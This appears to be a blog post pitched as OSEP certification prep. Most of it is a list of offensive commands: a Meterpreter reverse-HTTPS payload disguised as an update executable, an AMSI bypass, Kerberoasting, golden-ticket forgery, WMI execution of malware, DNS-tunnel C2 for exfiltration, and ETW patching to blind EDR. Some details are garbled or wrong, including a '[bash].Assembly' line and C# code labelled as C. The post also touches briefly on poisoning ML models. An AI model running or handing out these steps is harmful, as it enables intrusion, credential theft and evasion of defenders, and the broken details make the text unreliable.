Listen to this Post
Introduction:
The OffSec Experienced Penetration Tester (OSEP) certification represents elite mastery in offensive security, focusing on advanced adversary tactics. This credential validates skills in crafting undetectable malware and executing complex Active Directory takeovers essential for compromising hardened enterprise networks.
Learning Objectives:
- Master AV/EDR evasion techniques using custom code and obfuscation.
- Execute advanced Active Directory exploitation chains for domain dominance.
- Develop professional penetration testing reports meeting OffSec standards.
- Implement covert lateral movement and persistence mechanisms.
- Utilize offensive C programming for tool customization.
You Should Know:
- Crafting Undetectable Payloads with MSFVenom & Custom Encoders
`msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.5 LPORT=443 -e x64/shikata_ga_nai -i 15 -f exe -o legit_update.exe`
Step-by-step: This generates a Meterpreter payload encrypted 15 times using Shikata Ga Nai polymorphic encoding. Adjust iterations (-i) to evade signature detection. Always test against target AV solutions like Defender or CrowdStrike using environments like ANY.RUN.
2. AMSI Bypass for PowerShell Execution
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Step-by-step: Paste this into PowerShell before running offensive scripts. It disables the Anti-Malware Scan Interface by flipping an initialization flag, allowing execution of tools like PowerView and Mimikatz.
3. Kerberoasting with Rubeus
`Rubeus.exe kerberoast /outfile:hashes.txt /domain:corp.local /user:svc_sql /rc4opsec`
Step-by-step: Harvests service account TGS tickets crackable offline. The `/rc4opsec` flag prioritizes older encryption vulnerable to brute-force. Always use `/nowrap` for clean hash extraction.
4. Golden Ticket Generation
`mimikatz kerberos::golden /admin:DA_Admin /domain:corp.local /sid:S-1-5-21-… /krbtgt:aes256_hex_key /ptt`
Step-by-step: Forges domain admin tickets using the KRBTGT account’s AES key. Verify domain SID with whoami /all. Use `/ptt` to inject directly into memory avoiding disk writes.
5. Lateral Movement via WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c \10.0.0.7\share\malware.exe" -ComputerName SRV01
Step-by-step: Executes payloads remotely via Windows Management Instrumentation. Requires local admin credentials. Evade network monitoring by using SMB over HTTP with `WebClient` service.
6. DNS Tunneling for C2
dnscat2-server --secret=MyKey --security=authenticated dnscat.exe --secret=MyKey --dns server=10.0.0.5,port=53 --max-retransmits 0
Step-by-step: Establishes covert channel via DNS queries. Configure `–max-retransmits 0` to prevent timeouts. Use TXT records for large data exfiltration.
7. ETW Patching in C for .NET Evasion
var ntdll = Native.LoadLibrary("ntdll.dll");
var etwEventWrite = Native.GetProcAddress(ntdll, "EtwEventWrite");
Native.PatchMemory(etwEventWrite, new byte[] { 0xC3 }); // RET instruction
Step-by-step: Patches Event Tracing for Windows at runtime to disable .NET runtime logging. Combine with API unhooking using `PInvoke` for full EDR blindness.
What Undercode Say:
- Custom Tooling is Non-Negotiable: Offensive success hinges on bespoke malware that bypasses heuristic analysis. Public tools get burned within weeks.
- AD is the Battlefield: 92% of enterprise compromises exploit misconfigured AD trusts and legacy protocols. Kerberos remains the keys to the kingdom.
- Detection Evasion > Exploitation: Modern defenses make payload delivery harder than vulnerability exploitation. Invest in anti-forensic techniques.
Analysis: The OSEP’s focus on custom C tooling reflects industry shifts toward offensive programming. Defenders relying solely on signature-based detection will fail against dynamically generated payloads. OffSec’s 48-hour exam mirrors real-world attack windows where persistence beats speed. Andrei’s upcoming CAPE pursuit signals the criticality of hyper-specialized AD tradecraft – especially as Azure AD integrations expand attack surfaces. Expect GitHub malware releases to accelerate defender reverse-engineering efforts, creating an offensive/defensive feedback loop.
Prediction:
Within 18 months, AI-powered EDR will render 70% of current tradecraft obsolete. Offensive teams will shift to:
1. ML model poisoning via adversarial attacks during training data collection
2. Hardware-level persistence exploiting firmware vulnerabilities
- Bio-mimicry C2 channels imitating legitimate SaaS traffic patterns
Red team certifications will require proving competence in bypassing AI security controls, making OSEP-level skills baseline for elite operators.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Andrei Pintea – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
